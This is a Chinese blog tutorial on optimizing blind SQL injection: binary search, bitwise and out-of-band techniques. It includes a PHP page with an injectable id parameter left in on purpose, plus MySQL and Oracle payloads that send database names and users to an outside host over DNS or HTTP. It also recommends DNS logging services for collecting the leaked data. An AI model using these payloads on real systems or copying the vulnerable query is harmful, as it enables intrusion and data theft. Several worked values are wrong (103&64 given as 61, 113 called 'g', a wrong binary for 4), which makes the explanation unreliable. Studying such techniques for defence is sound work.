1. 程式人生 > >【SQL注入】盲注優化

【SQL注入】盲注優化

SQL注入之盲注優化技術

典型時間型盲注示例程式碼:

<?php
    header('content-type:text/html;charset=utf-8');
    @$id=$_GET['id'];  //傳參
    if(!isset($id)){
        die('請傳入GET方法id引數值');
    }
    $mysqli=new mysqli();
    $mysqli->connect('localhost','root','root');
    if($mysqli->connect_errno){
        die
('連線資料庫失敗:'.$mysqli->connect_error); } $mysqli->select_db('user'); if($mysqli->errno){ die('開啟資料庫失敗:'.$mysqli->error); } $mysqli->set_charset('utf8'); $sql="SELECT username,passwd FROM users WHERE id={$id} limit 0,1"; $result=$mysqli->query($sql)
; if(!$result){ #無論什麼情況都輸入一種情況:hello mysql echo 'hello mysql'; }else if($result->num_rows==0){ echo 'hello mysql'; }else { echo 'hello mysql'; }

一、盲注猜解技術

在平時遇到盲注時,我們通常會使用二分搜尋法進行猜解,這也是sqlmap工具預設的猜解方法,當然在布林盲注時用二分搜尋法也是比較快的,但是當遇到時間型盲注時,二分搜尋法顯得那麼無能為力了。

sqlmap預設採用的二分搜尋法:適用於全部資料庫
在這裡插入圖片描述

其實盲注猜解技術不止二分搜尋法,下面給大家講解已知盲注猜解技術:

1、普通字元加正則表示式聯合優化猜解

最原始的直接猜測:
x = 'a'
x = 'b'
......
這種效率肯定不高,光英文加數字最多要猜解:26+10=36次
使用正則表示式縮小採解範圍:
x LIKE ['a-f']
x LIKE [^'a-f']
這時再加上直接猜測進行範圍縮小
正則表示式在某些場景很有用。

2、二分搜尋演算法

二分搜尋演算法(分半\折半演算法)主要用於推斷單個位元組的值,不需要搜尋整張字母表,通過不斷拆分平均值來縮小查詢範圍。

任何ASCII字元都可以用1位元組或8位表示,也稱為八位位元組,並非所有字元在資料庫中都是有效的或允許的,所以我們只關注ASCII範圍32 - 126的可見字元,它給我們留下了一組94個字元。這其中是包含特殊符號在內的可見字元,如果知道要猜解的資料不包含特殊字元,還可以縮減範圍成:48-57、65-90、97-122

在這裡插入圖片描述

例:使用二分搜尋法猜解字元'f'=>ASCII數字為102
x > 64    1
x > 128    0     
x > 96    1
x > 112    0
x > 104    0
x > 100    1
x > 102    0
x > 101    1
x > 101 and x < 102 所以 x = 102
可以看到,使用二分搜尋法需要8次猜解才能確定字元,這裡x > 128 可以去掉,因為大於128了就不是可見字元,所以使用二分搜尋法猜解至少需要7次,還不算是否判斷字元結束x=0

所以,二分搜尋法有個明顯的缺點,那就是猜測每一位字元需要傳送7次請求,每次傳送的請求需要上一次請求返回結果判斷才能繼續傳送,也就是說只有傳送了第一次請求,且返回了結果,在進行結果判斷,然後在傳送第二次請求…,這種每次需要等待上一次結果返回,花費的時間較長。

1次請求延遲5秒,至少有4次是正確的吧,那就是4*5=20s,在加上不延遲的請求也需要時間返回吧,一次算1s吧,那就是20s+4s=24s,當然這裡只是延遲5s,有些網頁本身返回延遲慢,則需要加大此數。

3、按位方法

用按位方法法不需要像二分搜尋法那樣只能單次單次傳送,可以並行同時傳送7次請求,使得能快速得到一位值。

位操作法使用位操作符 & 實現
例:猜解字元 'g'=>ASCII碼103
select 103 & 128;    結果為 0 =》0
select 103 & 64;    結果為 61=》1
select 103 & 32;    結果為 32=》1
select 103 & 16;    結果為 0=》0
select 103 & 8;    結果為 0=》0
select 103 & 4;    結果為 4=》1
select 103 & 2;    結果為 2=》1
select 103 & 1;    結果為 1=》1
結果非0的都為1,那麼集合起來就是 01100111,轉換到十進位制為103,而ascii碼錶113對應字元'g'
這種方法也是需要7次請求,但是不需要像二分搜尋法那樣需要等待上一次請求結果進行判斷,也就是說二分搜尋法只能單執行緒,而位操作法可以併發多執行緒。時間大大的節約。

原理很簡單:就是把字元轉化成二進位制,逐位判斷
128二進位制   10000000
64二進位制    01000000
32二進位制    00100000
16二進位制   00010000
8二進位制     00001000
4二進位制    00000110
2二進位制    00000010
1二進位制    00000001

實驗,這裡使用位操作法是可以的:
在這裡插入圖片描述

那麼為什麼sqlmap不使用此方法進行呢?留給大家思考!

帶外通訊技術

進行SQL盲注漏洞時,使用第二類方法是藉助非主流通道。區別在於前面的推斷技術依靠的是頁面傳送的響應來判斷,而非主流通道技術使用的是傳輸通道而非頁面響應,傳輸通道包括DNS、E-MAIL、HTTP請求。這樣的好處是可以一次檢索多塊資料,而不是通過推斷單個位元組的值。

現在企業防火牆或安全裝置一般不會對DNS請求進行攔截檢測,所以目前很多都是用NDS隧道進行隱蔽控制。

#mysql傳送DNS請求:
SELECT LOAD_FILE(CONCAT('\\\\',( SELECT DATABASE() ),'.xx.xx\\x));

#Oracle傳送DNS請求和HTTP請求:
SELECT UTL_INADDR.get_host_name('192.168.1.1') FROM dual;
select utl_http.request('http://192.168.0.102/'||(SELECT user FROM dual)) from dual;

可藉助網路上已有平臺,如:ceye.io、T00ls DNSLOGd等:
在這裡插入圖片描述

或者自己搭建NDS和HTTP平臺:

  • 簡單的自己寫個python指令碼監控UDP協議53埠的DNS記錄,搭建個web伺服器分析HTTP訪問記錄
    在這裡插入圖片描述
  • 或者採用一些開源專案,如:https://github.com/LandGrey/dnstricker
    在這裡插入圖片描述